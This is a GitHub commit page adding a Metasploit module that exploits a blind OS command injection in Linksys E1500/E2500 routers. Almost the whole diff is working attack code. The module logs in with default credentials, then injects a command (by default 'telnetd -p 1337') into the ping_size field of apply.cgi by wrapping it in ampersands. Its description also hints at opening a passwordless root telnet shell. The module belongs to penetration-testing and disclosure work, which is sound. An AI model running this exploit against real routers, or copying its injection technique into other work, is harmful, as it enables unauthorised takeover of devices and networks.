Skip to content

Commit 98be5d9

Browse files
author
jvazquez-r7
committed
Merge branch 'linksys-e1500-e2500-exec' of https://github.com/m-1-k-3/metasploit-framework into m-1-k-3-linksys-e1500-e2500-exec
2 parents 509ae76 + b2bf1df commit 98be5d9

File tree

1 file changed

+112
-0
lines changed

1 file changed

+112
-0
lines changed
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Linksys E1500/E2500 Remote OS Command Execution',
17+
'Description' => %q{
18+
Some Linksys Routers are vulnerable to OS Command injection.
19+
You will need credentials to the webinterface to access the vulnerable part
20+
of the application. Default credentials are always a good starting point.
21+
admin/admin or admin/password could be a first try.
22+
Note: This is a blind os command injection vulnerability. This means that you will
23+
not see any output of your command. Try a ping command to your local system for a
24+
first test.
25+
26+
Hint: To get a remote shell you could start telnetd and touch /etc/group. Use the
27+
user root without a password for accessing the device.
28+
},
29+
'Author' => [ 'm-1-k-3' ],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
[ 'URL', 'http://homesupport.cisco.com/de-eu/support/routers/E1500' ],
34+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ],
35+
[ 'EDB', '24475' ],
36+
[ 'OSVDB', '89912' ],
37+
[ 'BID', '57760' ]
38+
],
39+
'DisclosureDate' => 'Feb 05 2013'))
40+
41+
register_options(
42+
[
43+
OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
44+
OptString.new('PASSWORD',[ true, 'Password to login with', 'password']),
45+
OptString.new('CMD', [ true, 'The command to execute', 'telnetd -p 1337'])
46+
], self.class)
47+
end
48+
49+
def run
50+
uri = '/apply.cgi'
51+
user = datastore['USERNAME']
52+
pass = datastore['PASSWORD']
53+
54+
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
55+
56+
begin
57+
res = send_request_cgi({
58+
'uri' => uri,
59+
'method' => 'GET',
60+
'authorization' => basic_auth(user,pass)
61+
})
62+
63+
return if res.nil?
64+
return if (res.code == 404)
65+
66+
if [200, 301, 302].include?(res.code)
67+
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
68+
else
69+
print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
70+
return
71+
end
72+
73+
rescue ::Rex::ConnectionError
74+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
75+
return
76+
end
77+
78+
79+
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
80+
81+
cmd = datastore['CMD']
82+
#original post request:
83+
#data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
84+
#action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="
85+
86+
vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}")
87+
begin
88+
res = send_request_cgi(
89+
{
90+
'uri' => uri,
91+
'method' => 'POST',
92+
'authorization' => basic_auth(user,pass),
93+
'vars_post' => {
94+
"submit_button" => "Diagnostics",
95+
"change_action" => "gozila_cgi",
96+
"submit_type" => "start_ping",
97+
"action" => "",
98+
"commit" => "0",
99+
"ping_ip" => "1.1.1.1",
100+
"ping_size" => "&#{cmd}&",
101+
"ping_times" => "5",
102+
"traceroute_ip" => ""
103+
}
104+
})
105+
rescue ::Rex::ConnectionError
106+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
107+
return
108+
end
109+
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
110+
print_status("#{rhost}:#{rport} - Blind Exploitation - wait around 10 seconds till the command gets executed")
111+
end
112+
end

0 commit comments

Comments
 (0)